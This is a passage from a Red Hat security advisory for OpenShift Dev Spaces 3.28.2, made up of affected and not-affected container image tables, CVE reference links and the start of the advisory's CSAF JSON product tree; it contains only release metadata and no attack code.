| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
57 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Workaround
|
Threats
Impact
Moderate
References
47 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:25123 | self |
| https://access.redhat.com/documentation/en-us/red… | external |
| https://access.redhat.com/security/cve/CVE-2026-42578 | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | external |
| https://access.redhat.com/security/cve/CVE-2026-43512 | external |
| https://access.redhat.com/security/cve/CVE-2026-6321 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-6321 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2466582 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-6321 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-6321 | external |
| https://cna.openjsf.org/security-advisories.html | external |
| https://github.com/fastify/fast-uri/security/advi… | external |
| https://access.redhat.com/security/cve/CVE-2026-42578 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477226 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42578 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42578 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477217 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42579 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42581 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42581 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42584 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42584 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42587 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42587 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-43512 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2476511 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-43512 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-43512 | external |
| https://lists.apache.org/thread/7x09x7o12solvclsl… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Red Hat OpenShift Dev Spaces 3.28.2 has been released.",
"title": "Topic"
},
{
"category": "general",
"text": "This release provides security fixes for Dev Spaces components. \nhttps://access.redhat.com/support/policy/updates/openshift#crw",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:25123",
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "external",
"summary": "https://access.redhat.com/documentation/en-us/red_hat_openshift_dev_spaces/3.28/html/administration_guide/installing-devspaces",
"url": "https://access.redhat.com/documentation/en-us/red_hat_openshift_dev_spaces/3.28/html/administration_guide/installing-devspaces"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42578",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42579",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42581",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42584",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42587",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-43512",
"url": "https://access.redhat.com/security/cve/CVE-2026-43512"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-6321",
"url": "https://access.redhat.com/security/cve/CVE-2026-6321"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_25123.json"
}
],
"title": "Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.2 Release.",
"tracking": {
"current_release_date": "2026-08-19T20:57:03+00:00",
"generator": {
"date": "2026-08-19T20:57:03+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.16"
}
},
"id": "RHSA-2026:25123",
"initial_release_date": "2026-06-10T19:42:14+00:00",
"revision_history": [
{
"date": "2026-06-10T19:42:14+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-15T05:55:47+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-19T20:57:03+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat OpenShift Dev Spaces 3.28",
"product": {
"name": "Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:openshift_devspaces:3.28::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat OpenShift Dev Spaces"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"product": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"product_id": "registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/code-rhel9@sha256%3Abb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/code-rhel9\u0026tag=1780679565"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"product": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"product_id": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"product_identification_helper": {
"purl": "pkg:oci/code-sshd-rhel9@sha256%3Ab1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/code-sshd-rhel9\u0026tag=1780678593"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"product": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"product_id": "registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"product_identification_helper": {
"purl": "pkg:oci/configbump-rhel9@sha256%3A5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/configbump-rhel9\u0026tag=1780548550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"product": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"product_id": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"product_identification_helper": {
"purl": "pkg:oci/dashboard-rhel9@sha256%3A1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/dashboard-rhel9\u0026tag=1780685176"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"product": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"product_id": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/imagepuller-rhel9@sha256%3A2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/imagepuller-rhel9\u0026tag=1780573614"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"product": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"product_id": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"product_identification_helper": {
"purl": "pkg:oci/jetbrains-ide-rhel9@sha256%3A0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/jetbrains-ide-rhel9\u0026tag=1780608672"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"product": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"product_id": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"product_identification_helper": {
"purl": "pkg:oci/multicluster-redirector-rhel9@sha256%3Abaff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/multicluster-redirector-rhel9\u0026tag=1780695724"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"product": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"product_id": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openvsx-rhel9@sha256%3Ab73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/openvsx-rhel9\u0026tag=1780948325"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"product": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"product_id": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"product_identification_helper": {
"purl": "pkg:oci/devspaces-rhel9-operator@sha256%3Add4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/devspaces-rhel9-operator\u0026tag=1780592394"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"product": {
"name": "registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"product_id": "registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"product_identification_helper": {
"purl": "pkg:oci/devspaces-operator-bundle@sha256%3Af78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/devspaces-operator-bundle\u0026tag=1780937740"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"product": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"product_id": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"product_identification_helper": {
"purl": "pkg:oci/pluginregistry-rhel9@sha256%3A80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/pluginregistry-rhel9\u0026tag=1780696380"
}
}
},
{
"category": "product_version",
